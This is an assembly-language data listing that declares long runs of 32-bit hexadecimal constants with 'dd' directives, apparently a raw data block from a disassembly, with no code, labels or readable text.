		dd 466F63CBh, 62C02F61h, 0D5E8D14Bh, 0B01607FAh, 27EC4257h
		dd 1EB8C319h, 0F9B23D90h, 3A1A4C03h, 0F3B3BC04h, 8FF7D845h
		dd 0B2E7498h, 0B567CBF8h, 9001409h, 41769E8Bh, 36089B0h
		dd 0B10DDBB0h, 0A87BD7h, 0C93E7726h, 78E543C3h,	0AB6FFB00h
		dd 4EB120F2h, 0B94200EAh, 0E91DE43Ch, 76728E5Ah, 817F8B3Fh
		dd 0C78D4A7Ch, 0DA205395h, 562D0038h, 3E9A5285h, 0E3E5DB2h
		dd 0CEEB8363h, 0B0F162F5h, 0FD8E221h, 30D1C4B8h, 0E8800036h
		dd 1C90EBA5h, 0B40A572Ah, 800B1E7Dh, 0B139F9h, 33EA177Bh
		dd 599609D4h, 0B494A854h, 0ACAF6E0Eh, 68DB209Eh, 73DCFD56h
		dd 0CD8A01D0h, 0ECFFDE9Ch, 6235DC03h, 0BD3D5A09h, 80D4BA0Bh
		dd 0B07F5F3Eh, 0EC780A79h, 0D8FA81h, 56067368h,	1567D9D6h
		dd 604F6230h, 892A7F22h, 9161260Bh, 1FE5A4A0h, 0BF5E010Ah
		dd 30A4AA39h, 41484706h, 0CEDB0962h, 3F6501F0h,	2EC4FD9Fh
		dd 0BF691627h, 81FF1F9Ah, 10C62458h, 38B0F406h,	8EAF6400h
		dd 0D35CD244h, 1AFE0447h, 808FD998h, 7957ACA0h,	9E2BC324h
		dd 973FAC26h, 6C407CD3h, 1247B5F2h, 0B4E0F1h, 0AB31358Eh
		dd 0ECA59B6Eh, 3460CA1Ch, 39B1F080h, 1164C90h, 202C6485h
		dd 37C73803h, 10D90020h, 0AD18AF5h, 0B17E00B5h,	0F1CC4F30h
		dd 0C67A50ACh, 0FDD52200h, 949C7D8Fh, 18DF00CBh, 69C55D06h
		dd 0A40081AAh, 1C80366Fh, 385067FBh, 0DB0FBC45h, 73CE15Ch
		dd 10D9CF2Bh, 0B349F406h, 0C2D62C07h, 0B477CB6Dh, 0C5017010h
		dd 33B022h, 964D59BBh, 1CDD8453h, 7EF79E01h, 0C5FDE731h
		dd 51E330h, 6E3619BAh, 55A3B005h, 0FE54E900h, 0E02544B4h
		dd 9CF0045h, 5A220349h,	9803177Ah, 0ABAA371Eh, 425EC030h
		dd 627CFFh, 55C62502h, 908A32BBh, 4383DA00h, 0AB50125Eh
		dd 0D5E071h, 0DE72F6B0h, 4CD96113h, 0B44DB328h,	961C6A00h
		dd 7707B915h, 0B4230080h, 0AF3655CAh, 0FC0033A0h, 30C84DBCh
		dd 942542h, 10F158C0h, 40CDDFEFh, 9140C00h, 3D446788h
		dd 48E60045h, 178E6C31h, 0D7175C56h, 0E803F69Fh, 0E8440942h
		dd 75752DEh, 0C721CA2Dh, 2AE8D0E6h, 20759617h, 3586BC00h
		dd 0D5BDBE27h, 7F8A007Bh, 0BA438702h, 630B2EDFh, 0AACCCFh
		dd 0A07E688Fh, 90FF0788h, 504E02E7h, 0B62C9EE9h, 6EFB7A00h
		dd 85E3AC17h, 0DC4800CEh, 98365038h, 59004DA3h,	0D1F13C8Ch
		dd 0C21EB3h, 5331CB7Ch,	1CB82944h, 0C350500h, 10EAE6DAh
		dd 0DD2000FFh, 0F190F748h, 5300F902h, 0B46D7449h, 1F017193h
		dd 81FF4198h, 0F499D283h, 0E44FE9EAh, 600BF23h,	0A71B90E1h
		dd 7F95B49h, 8FCFFA8Eh,	81099085h, 0EB009FB6h, 4254A18Ch
		dd 103DC5h, 0CFC7C11Ch,	0CD06D82h, 96830600h, 0D9F03E2Eh
		dd 0E6F29Ch, 11CF23A8h,	70070835h, 8B072AE0h, 156710D8h
		dd 0D8E54023h, 38CF7962h, 8903F32Eh, 75959D71h,	0E044DAA1h
		dd 34009142h, 0C60B5F32h, 2A5150Ch, 0D8B02523h,	736081D4h
		dd 0A004288Ah, 7205BBB1h, 0BDC3980h, 0EDCB0753h, 0D0A5AE87h
		dd 3EE87912h, 0E9034D73h, 4F9513B5h, 80F59818h,	8CE700FBh
		dd 732E59FAh, 510063DEh, 35F7E852h, 2DB34D3h, 4E943B39h
		dd 3C40440Ch, 15E09A82h, 65005FE6h, 0F378E99Ch,	71C547A7h
		dd 0C980005Eh, 79BEEA71h, 0AB0EFF55h, 0A0D6D266h, 7FC82083h
		dd 0E2F8E0h, 8C3E03F4h,	0A815D88Ah, 0D90E6579h,	80383770h
		dd 0DC95CE39h, 99452C8Fh, 0F861D60h, 526E41ECh,	0C26F81E0h
		dd 5300EF83h, 590417D8h, 6A20EEh, 54F15126h, 0C73C654Ah
		dd 0D37D9300h, 191755F5h, 0FA0C0061h, 96C3E6E1h, 4B03FF09h
		dd 9818590Ah, 0DA0F0EFh, 48F700C8h, 0FC40179Eh,	0C6003D10h
		dd 28353A1Eh, 0A591C0h,	47F2AC1h, 7D4E6109h, 0E44FA13h
		dd 0E0E19800h, 0D434BBh, 6DE84B3Dh, 8C81F32Fh, 7C21D801h
		dd 4464404Fh, 1F86E4h, 82A87FB0h, 355C9A18h, 0C10A3C1Eh
		dd 17C0935Ch, 3338799Fh, 0B71100BEh, 423CBCF8h,	0EE077F61h
		dd 6A0ED6F4h, 284A6B0h,	0C2690085h, 956CEBCEh, 0F01DFE2h
		dd 9CC54F86h, 0BF70DCB0h, 0ABA600F3h, 5A81D0EEh, 7F079D26h
		dd 46479A66h, 2072FE90h, 0F227AA9h, 38E5B769h, 6A4B640h
		dd 872C89CDh, 3503B2CBh, 0E9E0785Ch, 0BCD859F7h, 0DC9A0077h
		dd 463228EBh, 1600C5DEh, 357F60E5h, 7F60184h, 9EBDFAEEh
		dd 0D3BCA3CBh, 0F2B279D8h, 4502FB1Eh, 6D40B880h, 0F0D355Fh
		dd 7CEE5369h, 478007Fh,	0DBCAC02Ah, 443EB3Ah, 295A9989h
		dd 17BC3A80h, 0AD5800D4h, 9EC9257Dh, 0FE0063B8h, 0C03766B2h
		dd 0BB5681h, 6B1ED18Ch,	168EE9B3h, 5F188900h, 63C35903h
		dd 5EFE00FDh, 55DD0476h, 5200C545h, 87C8FC19h, 24CD74h
		dd 0AFC607A5h, 3B62BBC1h, 13BDB400h, 0EB524F4Eh, 558700D0h
		dd 0A3A0E459h, 1490788Eh, 6608C315h, 89AAC084h,	7C28D8h
		dd 86CEF277h, 0B3A6A3F7h, 4B37E103h, 0BC36EB95h, 0F1BAE080h
		dd 3EAC00C9h, 1FA293B6h, 13273324h, 15BB7063h, 0CCBD04E3h
		dd 0BE2F72C0h, 9A00A24Ch, 25B1F3Fh, 77EA3069h, 0EAB837h
		dd 0C9761A52h, 317C6E38h, 44BA8724h, 0ACF21780h, 1ED01BF5h
		dd 0D8D58Ch, 0EDB9D99h,	0FA1F7433h, 80BBAA65h, 0E6442D91h
		dd 9D6BC2E2h, 0DCA83DE1h, 0B701E4ADh, 7FE331BEh, 0FEEC811Ch
		dd 0D2A60CC0h, 7B0E0BBh, 0C44798A1h, 0BA0064CAh, 0F689C4D9h
		dd 3BF338Fh, 24255952h,	1AA03942h, 9F002205h, 144AA5BEh
		dd 55802Ah, 6F87A7F5h, 76D607A1h, 0F06B0B00h, 9C6197DAh
		dd 0BC170156h, 0AC23BD42h, 723848A4h, 0AB108B00h, 98906274h
		dd 1ABB00EDh, 0B04E7C96h, 0E501FFEEh, 92896EACh, 0A451A1D5h
		dd 0ED8FA3Eh, 32673976h, 9B051980h, 6F110B8Ah, 82CE9609h
		dd 0BCEA043Eh, 730C380h, 0D016322Ah, 0D8801278h, 8D291369h
		dd 9F3E9900h, 0CA8EC805h, 2101003Fh, 5F0EF8ADh,	0FB005112h
		dd 9DF6E3A6h, 274FA971h, 976C12Fh, 37DD9A01h, 46DE0F50h
		dd 944C0048h, 62D4FEDFh, 0DE09F776h, 3DCDC0h, 3F790FE4h
		dd 9925C49h, 0C0ACE71Eh, 7E695922h, 4C006F58h, 34407B82h
		dd 387C87h, 7792FDCCh, 7A330DD0h, 8A80A900h, 7E2FAF31h
		dd 93DC03CEh, 0B1044FB7h, 22D55BC8h, 0D284A0Eh,	0EACFC79Bh
		dd 15943DD0h, 0DF29005Fh, 42DD9F84h, 0A700CAAEh, 723E2D1Ch
		dd 4EEDC6h, 372C0978h, 8567EE7Ch, 13AE3100h, 0CDC50558h
		dd 0BB7C32h, 48F6F50Fh,	291741C2h, 65FED107h, 250F913Eh
		dd 3840E1CDh, 522F6148h, 35F30007h, 3926D5A0h, 0AD04C20Bh
		dd 0F0DFE8F5h, 31A30780h, 146F007Fh, 0ECBE966h,	0B028B5DEh
		dd 0B4008418h, 56EA2450h, 0ED4CEFCh, 948C0216h,	30A100FEh
		dd 3A1A91A5h, 9357B707h, 0D330086Fh, 0CC7CF280h, 25D84F58h
		dd 0F7193400h, 58DFE91Ch, 20041E54h, 0C075DE85h, 7A38C026h
		dd 0D400A50Dh, 4E3A426Fh, 1451CBAAh, 0EABD216Bh, 7C073700h
		dd 0BB73F1Ah, 83891E03h, 0C0B5296Dh, 0F6B931C7h, 0DF110080h
		dd 0ED97B8Dh, 3F1D59EDh, 0BC404114h, 0AFD3EE88h, 7B075818h
		dd 4853800h, 2FB32617h,	0CB8FEB00h, 115E74CEh, 94C300A0h
		dd 1CD05DE0h, 121CA28Eh, 0C741F235h, 98491FDDh,	720D1BF4h
		dd 0D66F0055h, 72C05969h, 0D4764889h, 1B93E3Ah,	1736106Eh
		dd 93F5D25Dh, 8766CC42h, 0CDD274F4h, 0A494A083h, 4115717h
		dd 888F19B4h, 1AC01E1Fh, 0B7EA4A2Fh, 0F6E8A05Dh, 0DC101268h
		dd 0CE140C2Dh, 0C207B140h
		dd 0BEFAD095h, 15052570h, 7CF3FE04h, 7D3C00E1h,	0D9319C59h
		dd 4F00827Fh, 25E953BFh, 48A324BCh, 2000C9Eh, 6A277E2Ch
		dd 0E41F567Bh, 1E00408Ah, 0DA55319Dh, 0D78203CCh, 0A8747726h
		dd 0A00016BBh, 5B13E411h, 18D9A43Bh, 0D07C02D8h, 43040E0Ah
		dd 24B84567h, 48448891h, 905E1F60h, 0F13F0284h,	22843C19h
		dd 0EC80D589h, 1F204439h, 2B8F9F00h, 16E1E225h,	0BF570037h
		dd 3A306FCBh, 621B0159h, 801788h, 0B7E7399Ch, 89D5DADEh
		dd 0B0181CA4h, 8AE10138h, 0F4A405B2h, 0FF7DFEh,	36890F94h
		dd 0E060986Ah, 109F4930h, 41F8BCh, 8AAC81Eh, 62464B9h
		dd 89739206h, 0EAA10D7Bh, 88B65032h, 4AD513E5h,	33011498h
		dd 50ADC700h, 2040E983h, 0EBA25609h, 46F40A9Ah,	654E8039h
		dd 9E94B7B4h, 0BB160701h, 0DB77368Dh, 0F0513C80h, 32001DFDh
		dd 0F1B4AB28h, 0F9BA43h, 0E2CD27Bh, 0D1ACCB02h,	69006076h
		dd 0B79D92Dh, 0F38873h,	0D209228Fh, 724A9E17h, 26D6C91Ch
		dd 29C76780h, 4CA63C96h, 0AC061487h, 990AB10Dh,	136C2007h
		dd 1710F5D3h, 16799A2h,	55338CEEh, 81A8F14Ah, 37F0B6C2h
		dd 50200342h, 1F64002Fh, 6E4460D2h, 9C004BC4h, 6DB1A14Dh
		dd 794687Eh, 0EAFAA616h, 5FA85081h, 0AB1C3602h,	0C0C0CEF9h
		dd 0B7EB553Eh, 7590087h, 2A120663h, 9F0053A7h, 57B07608h
		dd 374D236h, 0CEC1F370h, 95A01A98h, 0C00E9A9Bh,	8061A7A1h
		dd 7051BE59h, 1EFE00CAh, 53AB1230h, 9339741Dh, 0A29B0001h
		dd 0C63D825Ah, 47BC06A0h, 1081921Fh, 1019B600h,	89FD267Ah
		dd 31D50123h, 54E1A02Eh, 0A894CCB1h, 4EE67F00h,	39CA3B45h
		dd 0B6C5040Eh, 8014ECAEh, 3F94BDDEh, 5AA71A18h,	991D88h
		dd 0DBCC0A1Eh, 0F8574230h, 243A1000h, 0B75B90ABh, 8B4B002Eh
		dd 0AEAD4588h, 0FD007638h, 8A6A246Ch, 0D49323h,	8B262C5Ah
		dd 84D006C6h, 301D380Ah, 682C748Eh, 0EBAA013h, 0F1606392h
		dd 8384344Ah, 0B991A800h, 0D44943A5h, 8ED50FD2h, 0FAA01924h
		dd 0CE4ED0C6h, 0E3F0DE01h, 7C2C16FFh, 203670h, 1F5F984Ch
		dd 72B742C4h, 0FEFCD501h, 8CBDE668h, 2B173CCh, 129B83AEh
		dd 92631374h, 25723C80h, 0DC45F400h, 0DB7B56E8h, 3F2B152Eh
		dd 0D300943Bh, 0A098320Dh, 6605F344h, 4DD42D1Eh, 0E59DDC00h
		dd 7E0590Eh, 5EC7E8A5h,	0D5B8502Ah, 850328C5h, 17459E1Fh
		dd 0A72FC0DBh, 53CA007Ah, 0CF6890DDh, 905D88Ah,	0F29D2C74h
		dd 2B2E841Ch, 0FEB0AB00h, 0D88B79h, 59C20694h, 4E81220Ah
		dd 0E142921Eh, 0C7CE828h, 0FD3B3C00h, 0A3B6287Ah, 0C02565CCh
		dd 0EEA00F74h, 40A0FE0Fh, 0ABB1B885h, 0D4A84A03h, 0D8C45311h
		dd 7C6F514h, 9218A466h,	2412191Ah, 0AB80048Fh, 56BAA197h
		dd 0D02EB100h, 6D177828h, 45580064h, 48B84D49h,	8C0063ACh
		dd 0E6880459h, 14064760h, 0A0265208h, 217D3200h, 2FE23DF9h
		dd 57001279h, 0E3BA564Fh, 285BA2h, 8626C1DBh, 97955558h
		dd 2200D470h, 0AE777496h, 0A9AC46h, 4453A047h, 1B95CE14h
		dd 9A653731h, 0CCD4DED7h, 0DCB500FCh, 626449C7h, 0E14984B6h
		dd 921D80ACh, 12D41532h, 11BF105h, 0BD02B44Ch, 0FE98482Eh
		dd 0CC3BC413h, 48946803h, 89EF7Ah, 9DEC8F08h, 0F47002Ch
		dd 4DCC3458h, 0DA763141h, 9C00C47Ch, 6BA467E2h,	752F9B1h
		dd 6A6C10DBh, 3741DF04h, 0ECBC7963h, 9005C36h, 0E4D269FCh
		dd 0D0391Fh, 0CEB3D6B5h, 0E6CF5882h, 0B00051F0h, 8DC56A74h
		dd 5099C1FFh, 0E5B32Fh,	0EA21FC8Fh, 0A25C7EA8h,	32902A00h
		dd 1254C96Ch, 336302CEh, 4DF73553h, 21AD78A2h, 46048800h
		dd 0CED800D7h, 630652FAh, 3300FE1Ah, 5887575Ah,	300B015Ch
		dd 66A168E5h, 77159F34h, 0A028428Eh, 89C5DAh, 0AE309EACh
		dd 1E95BB7Fh, 6F28B90Fh, 6BFF6051h, 38AC4E1Ah, 0CF01C64Bh
		dd 6075D62Dh, 0D5B1209Dh, 0C013E230h, 40AA00Fh,	3C01D31h
		dd 112CC05Eh, 0FB386D8Ah, 706783E7h, 803F96C3h,	512906h
		dd 0D91B767Fh, 0F29A2132h, 0ACBB0D00h, 0AFDC5492h, 77170349h
		dd 88535F75h, 0FE198D90h, 45A7D550h, 7C6BB10Fh,	2EBB4094h
		dd 7DC9B9Ah, 0C16287D7h, 0EA42A3B3h, 40D140C1h,	0BEE469E2h
		dd 0F0276800h, 882E9D57h, 0E85B00F6h, 4C4826C5h, 95050D91h
		dd 63816C44h, 0F0D92823h, 51A792h, 8D5035Ah, 0C00A9C23h
		dd 5D980700h, 9037BAC8h, 87D31283h, 5649071Dh, 0D2F490C7h
		dd 530099B1h, 0B8B50F06h, 50298Eh, 9041A696h, 52EC8CEDh
		dd 38FF75Ch, 3FA74DBAh,	63F69888h, 0B9DE29C7h, 0FC920284h
		dd 4C81BDD8h, 302C4EA7h, 0E7007213h, 7C051C6Dh,	0B8A89F44h
		dd 0D48C00CBh, 67ED986Bh, 42778116h, 0A0382C00h, 0D972B432h
		dd 89CA1D50h, 1E1643EFh, 94E867ECh, 6D3BFDEAh, 0BD0E8D7Fh
		dd 0A60183Ah, 3BFC2Ah, 46FB408h, 0D71E7283h, 732C0C77h
		dd 0BA0F7E0Eh, 0E0E64E5Bh, 0AC805809h, 3FE1038Ch, 3B9E987Dh
		dd 0A0736DD0h, 50EB5A00h, 1806320Ah, 5BEC7Bh, 993DD311h
		dd 78A6F346h, 0C1944500h, 2CC50DCFh, 66050AECh,	50F4C7F4h
		dd 7F0028E5h, 0AB37A110h, 45B46Eh, 88496DE3h, 92CEF37Bh
		dd 2CE73Bh, 7DFB8F0Bh, 3139192Ah, 0E3494F0Ah, 0D5763437h
		dd 0BE548F00h, 4459DD5Dh, 53892C7h, 0F70A6AB3h,	0BAF00F84h
		dd 73121363h, 644C1A88h, 23005890h, 40D67465h, 0E64DB4h
		dd 3B8FFC0Ah, 4EDE897Ah, 0F7313Ah, 6A84A7A5h, 16C0B7h
		dd 9817E73Ch, 0A87FE270h, 6F2C4DF2h, 8700CEFCh,	76A550A0h
		dd 192503CDh, 99F9496Bh, 8BEF4ED0h, 432CD700h, 804247DCh
		dd 0CC4A0034h, 3D4C0EAAh, 1500D4CBh, 0C1BD210Dh, 6B6088Ch
		dd 64FC1E24h, 43FAE873h, 9AD7BC00h, 38B46046h, 0F36E0383h
		dd 0B5351198h, 0F1008073h, 0E0187707h, 3D905AEBh, 1300C706h
		dd 0F80BBB37h, 9307BE99h, 2758049Fh, 0C8450ACEh, 4913509h
		dd 0F2C0C7DBh, 0A8FEFBCh, 0E20A9F4Dh, 3E8602A8h, 6C4093AEh
		dd 99019B44h, 3735FA98h, 72D8FDFFh, 0BFD4F913h,	6E580D42h
		dd 0C8F9CC60h, 481D4541h, 0E440EE38h, 0BB3CF1DEh, 9B610049h
		dd 4731E0EBh, 0F9180682h, 0CA71D32Eh, 51F507C9h, 9080AF44h
		dd 38609013h, 0D60077F4h, 1D52D32Dh, 4766BF7h, 0A26159ACh
		dd 8ACC888Eh, 32B43000h, 1854DE86h, 88AA1295h, 5FAC0EBFh
		dd 43F87E63h, 4261A806h, 3AD840A8h, 0C500CA28h,	45D6D5FDh
		dd 0B8007E29h, 784E3F0Dh, 0FA3C8E63h, 28175755h, 8E02FC56h
		dd 78A7C141h, 0B3F0A060h, 0F61C01FCh, 3A409E31h, 0F8292072h
		dd 0DBE35069h, 0DEEE16E0h, 3A5C539h, 2A9EA05Ch,	0A90045EBh
		dd 0E87E03D5h, 0A21928h, 0F381BD7Ah, 0C8DFCE6Fh, 2A848300h
		dd 56348649h, 5C260948h, 0AE62201Fh, 52A29880h,	8E00DAB3h
		dd 66CBBAB9h, 356E54Ch,	0DEB83E7Dh, 83C8D4C8h, 80008A40h
		dd 0AB1A9857h, 7EE11h, 17D73C90h, 2716B241h, 0B9D22A00h
		dd 51F9EF0Bh, 1887009Fh, 3925951Eh, 1000260Fh, 0AEB42E85h
		dd 1F009BFh, 623ECD33h,	0E4EBD554h, 0A50046E3h,	52829185h
		dd 3B21790Bh, 3E3DB5E8h, 80DE489Fh, 46203F6Bh, 9F3D9DA8h
		dd 3322804Ch, 95A93B10h, 57BE00DAh, 1F729708h, 77186B61h
		dd 0D9487CA7h, 955600FDh, 26CC0F5Eh, 0C22999A4h, 9700403Ch
		dd 0F0D02F84h, 825507E0h, 100A43DFh, 83FF0F49h,	4E07B67Ch
		dd 54241115h, 91F153F3h, 3DD4715Bh, 0BC1D18B5h,	35953856h
		dd 55117501h, 8BDE6DC3h
		dd 3E7F2AD0h, 4A001F7Ch, 63983845h, 0B6009F82h,	6AE84202h
		dd 6DF4A1h, 0F146D291h,	0AEA6A5C3h, 6706A200h, 0F4F6965Bh
		dd 9704004Fh, 777BD271h, 490E4ABBh, 0C0B08AD3h,	0FB444236h
		dd 0F731C301h, 0ECD3C371h, 0B75DE600h, 9ABBC555h, 20EA8Dh
		dd 6C92CB5Bh, 0D9E40B0h, 0B8002C7Fh, 8848694Bh,	4438E1h
		dd 7630D3C0h, 96A21341h, 0AA59EF07h, 0CF09D49h,	1DE618DCh
		dd 17012464h, 0CC0101BAh, 0D84EF76Bh, 6D070EF4h, 40D5388Ch
		dd 0F1DA2730h, 81AF0075h, 0EAC74C92h, 7B0EDC1Bh, 499BCE67h
		dd 0FE600083h, 3E36B0h,	1D9F0B2Bh, 0B93552C4h, 8B954C00h
		dd 0BBE09782h, 756500D2h, 6D18C9E7h, 0B400333Fh, 0CF9D4BFFh
		dd 0F2CA0CDh, 0AE92AB2Bh, 45D989C0h, 9400C030h,	9F17EF0Dh
		dd 3858E969h, 53005514h, 0A3383334h, 0C730A1AEh, 6486A095h
		dd 32B004Dh, 0B3ACE7EAh, 8E005B6Ch, 8ACDAF5Dh, 123B414h
		dd 598D47E6h, 0B4553001h, 3EC0B948h, 76F2A89Bh,	0A0851C49h
		dd 96128081h, 0B94E09B6h, 4A065000h, 4CA69380h,	9C9B0036h
		dd 46C8A230h, 872A0DD2h, 5300889Ah, 95651F6Bh, 0F9079AFh
		dd 51B0E3D7h, 81E58C04h, 0F43110B9h, 9A00A114h,	1DAC68E0h
		dd 89AF5Eh, 9527DC36h, 2C0C5FD6h, 33C13A00h, 0AA154997h
		dd 3C8600E5h, 8CBF7FFFh, 43000F9Eh, 33A075DEh, 0E0CA0666h
		dd 9C290EC4h, 8E2048F3h, 0C80C683Eh, 4A5EB100h,	0BC5C11D6h
		dd 5FE30E89h, 3EE010h, 31C5936h, 2500F351h, 75A166B3h
		dd 1ECEC791h, 41341706h, 0FAEB74C4h, 65282056h,	40D6F2E6h
		dd 439C5100h, 0D191CCh,	0A28A9ED5h, 0B6C45162h,	9065A001h
		dd 0FA4CE152h, 1BD45CCh, 4F3CBAE3h, 0F4FD425Bh,	0E738997Bh
		dd 0EB1303A3h, 0F8862188h, 3F6BB550h, 618F2452h, 6FA0760Bh
		dd 98B2B8BEh, 0D5519503h, 809F7C45h, 0FA6EDEh, 0B0E4ADE0h
		dd 78DFE9EDh, 0CD149h, 19F6A3C1h, 987230h, 0AFDEA050h
		dd 54F261E5h, 69166500h, 0A205E820h, 0FA89E2ACh, 2ECD3AF3h
		dd 86ED16h, 623916C3h, 0A1010983h, 93814942h, 22CCFF9Eh
		dd 8E90310h, 5A9C6811h,	0B88D4AC1h, 0B2A60B5Ah,	0D2990030h
		dd 717C1F95h, 3C29FC3Bh, 1500450Bh, 0D2A9D8Dh, 0B500E0DBh
		dd 70120E50h, 3B8E3179h, 0D7A4CF94h, 0E7620004h, 2D34909Bh
		dd 7CB16101h, 46A8FCBCh, 94ECA741h, 93EAF8h, 45688D79h
		dd 99A0400Fh, 14C2590Eh, 0BCF1A77Ch, 0BEACF7E0h, 4C3C0311h
		dd 47368C29h, 27F80D8Ah, 2BDCEE0Eh, 4B910048h, 7479ACh
		dd 2D22CC8Dh, 31CBE9FBh, 0B49EEE00h, 0E44B7B6h,	7254074Ah
		dd 0B11F7E83h, 22B96C7Bh, 14F861ACh, 16C4E3F2h,	0D704C075h
		dd 0F1B6A9EBh, 0DEA30100h, 1F29BA25h, 0F7A50195h, 51D67DA1h
		dd 0DB04246Fh, 0AD9FCE00h, 0D2843918h, 3100994Fh, 1092FAC9h
		dd 3754FDh, 0A7FBA0EEh,	5DA521EAh, 4DCE2712h, 0F4535800h
		dd 0A7288968h, 2E5201E4h, 40B2A032h, 15C778ACh,	29385E62h
		dd 60304A98h, 29317EBCh, 84E7C4h, 30CED487h, 781C339Ah
		dd 0C34A1248h, 2B81FC01h, 0F4C525C6h, 3DDDDFC8h, 58006669h
		dd 971FB8A5h, 82751895h, 7A0B9D0Ch, 2705Bh, 7E854FB6h
		dd 1137153Bh, 64272500h, 708D0CF4h, 22F700F9h, 1DB0210Bh
		dd 0BE0034DDh, 252436Ch, 5C75ADh, 0B4449647h, 5FF16853h
		dd 94506F00h, 4822D2FCh, 0BD6700ACh, 0ECDB2A4Fh, 2807F011h
		dd 423937D8h, 0D1D9F5D0h, 0B344010Ch, 97ED9173h, 69E3E0A3h
		dd 84EEDD00h, 0F3218D83h, 1953002Ah, 16F78A17h,	641D545Eh
		dd 78C087FEh, 551092F1h, 0EC5B8A0h, 0D6633EE4h,	99C9A6C0h
		dd 0B3007F09h, 0EC7801C2h, 71B8BC4h, 27A4D6BBh,	0EBB23097h
		dd 6B38C018h, 0FF7E9256h, 5FD53C41h, 1880BFACh,	7880E4F4h
		dd 3316E7A9h, 510A3503h, 0EF009079h, 0E2524ACDh, 8E2CB104h
		dd 4806017Dh, 0E00CC7Eh, 0E2026D9Bh, 7BBC17D3h,	2A910241h
		dd 8DCBD548h, 946178C8h, 310D5800h, 9AB78E4Ah, 0BA9E00CAh
		dd 48E4885Fh, 20008139h, 1A2CFDE3h, 0B3A7242h, 0CF57B96Bh
		dd 5D526814h, 2D0A93CCh, 64874CA3h, 27C063C8h, 0EC444334h
		dd 78BB04BAh, 9319B6EDh, 47818088h, 6AE880BDh, 0AD37E555h
		dd 309457F1h, 0D708900h, 3141D338h, 8E753309h, 7014BCh
		dd 7D7A0A18h, 703B0C93h, 0CC842900h, 7C2CE7EFh,	8B5B020Fh
		dd 0CB3E4988h, 944AE040h, 0DFEDF800h, 4B0CD990h, 0F3C72A8Ch
		dd 965300BCh, 0A2A33DACh, 4C0018A6h, 0F07330B0h, 792A183h
		dd 994D4FF3h, 0AB3460F5h, 0FE00C249h, 0FF7FBA0Dh, 1B446Fh
		dd 738178F8h, 0A0F4CE01h, 1E70BE00h, 7E9B24FAh,	6F8C1379h
		dd 5034007Dh, 495A902Ah, 0E0DCEC01h, 4273AFEFh,	3C2946C0h
		dd 0EE831620h, 51949EEDh, 96DD0DE0h, 0F56FF900h, 0F8CF8304h
		dd 989C69D7h, 0FCDD821h, 3C000433h, 359926D3h, 466C027Ch
		dd 3B8564CBh, 68986C66h, 0C4D6CA00h, 9F01CF72h,	3F281994h
		dd 735350EFh, 5C196030h, 58DD97C4h, 0A900ED9Ah,	2E7CF287h
		dd 5FE7D85h, 0A329CA0Eh, 0A6EE44A7h, 149DACC0h,	4702000Fh
		dd 74E1661Ch, 0C01D6C95h, 4709C03h, 0C115C5D0h,	8A5264BEh
		dd 0DCD6CD0Bh, 5D0796A5h, 3CB87538h, 94DFDA40h,	0CB85006Fh
		dd 0AC5749F3h, 0D000A50Dh, 833A0FB0h, 77B8E0h, 230372F6h
		dd 9888E47Fh, 3D4B7A0Fh, 0C740BE7Dh, 0CF1103Ch,	3F1500E0h
		dd 6371FE21h, 45EE1BFDh, 72674E01h, 9C3B8C99h, 0BF0FE4h
		dd 84FF4C6Eh, 2AEE44D4h, 0BEFDD001h, 57D0C42h, 7F9AA8EBh
		dd 4A401DEh, 0D7B62361h, 920E20AFh, 0C43E71Eh, 32F5E547h
		dd 0A9372C60h, 9D670035h, 60E289FAh, 4F00C85Ch,	0FB33870h
		dd 0FEAAEDh, 0F39B3EE0h, 0F2A4CE77h, 30A30D30h,	3249FFCh
		dd 0D706E36Ah, 62AAA7BBh, 9BE18080h, 8C67285Ah,	1BA0D649h
		dd 154345Dh, 6E84D885h,	0D12370E9h, 3CDC30ECh, 0B37C2A00h
		dd 8D7119D6h, 75B0007Eh, 72AA0D5Ah, 48C33F92h, 0F0EE18B7h
		dd 563AE4F1h, 1600B808h, 85338E94h, 1E006DC0h, 0A3568C9h
		dd 2A6543h, 467E3A80h, 0F27925C3h, 61211B67h, 1151290h
		dd 0E205008Eh, 6B51DBA6h, 340183BDh, 0D209F42Ch, 0C4549555h
		dd 630106ABh, 610078DCh, 2E53EAB7h, 68213Ah, 0A2433C3Dh
		dd 4C16D094h, 37B74100h, 0B08E5E96h, 97090047h,	31709181h
		dd 1860D388h, 4BA6E7F9h, 9078005Ah, 0C2B9EE63h,	0D0AEF0FBh
		dd 840075EEh, 7510439h,	77FD612h, 0C8B11CBCh, 50FEA035h
		dd 0E300CA8Bh, 0ABF54826h, 98376Eh, 89F99B67h, 94C03EC3h
		dd 83C4B038h, 0DE42E918h, 0D5CEA0C9h, 29F50C19h, 0B8E884E6h
		dd 0F4FC3102h, 6068E3E5h, 8D9D87h, 0AFBC3077h, 2E7E5A17h
		dd 60C6C93h, 6082EEBAh,	4380B15Ch, 3B00B277h, 0BE5F95BFh
		dd 3914B3C3h, 0C5183566h, 518EE9EBh, 0AF30214h,	846BC028h
		dd 61B21Ah, 3BD2D96Eh, 0F035BE63h, 50D08490h, 0AC500408h
		dd 0D480D7F4h, 0A8E77857h, 381E134h, 4D9C1CF8h,	209084A3h
		dd 8D009676h, 0FBC48744h, 59279h, 0B1F15BA6h, 490E086Fh
		dd 1CF89748h, 1F83BD8Eh, 0F0EC0F84h, 0CE3FF2h, 0F3A873C0h
		dd 2576267h, 0C1652A00h, 249B230Dh, 0E8A1288Dh,	44D1FF3h
		dd 421300F8h, 392A1988h, 5FCEBD07h, 0D890E709h,	0EAEDCCBh
		dd 0BC326778h, 306EA520h, 870F7A95h, 0E7C1C37Ch, 7520173Ch
		dd 0D2F72Ah, 63CAF04Dh,	132D5397h, 0B4377902h, 486FC86Eh
		dd 0E6BDAC9Ch, 0AE040017h
		dd 0ECD4796h, 324B9BBEh, 93007BFCh, 142CFEAh, 352A956Ah
		dd 3B24D853h, 66004DC4h, 36FF90B4h, 0D0700A8h, 0CEBAF393h
		dd 0E700E2A1h, 736BE459h, 0D3E3E0h, 4ED08EBCh, 62A3545Ah
		dd 0EC0E1C09h, 0CC082094h, 0EE7C2DBEh, 0F4EB4808h, 0F0F1530Fh
		dd 0B850009Ch, 0F42DDFB2h, 24007490h, 0BBAAC30Bh, 3C110FC4h
		dd 37AC29Ch, 0D2656B82h, 52888695h, 550019E8h, 0FC0ACFFAh
		dd 513BBAh, 0AE719BB6h,	9A2FF280h, 8DB08900h, 0FBB5D113h
		dd 3E43006Eh, 9518B2E1h, 0A500D7F9h, 0CF3DF730h, 8B82A3h
		dd 8FBE5738h, 33D6173Fh, 935C9500h, 199AF756h, 0E3EC016Bh
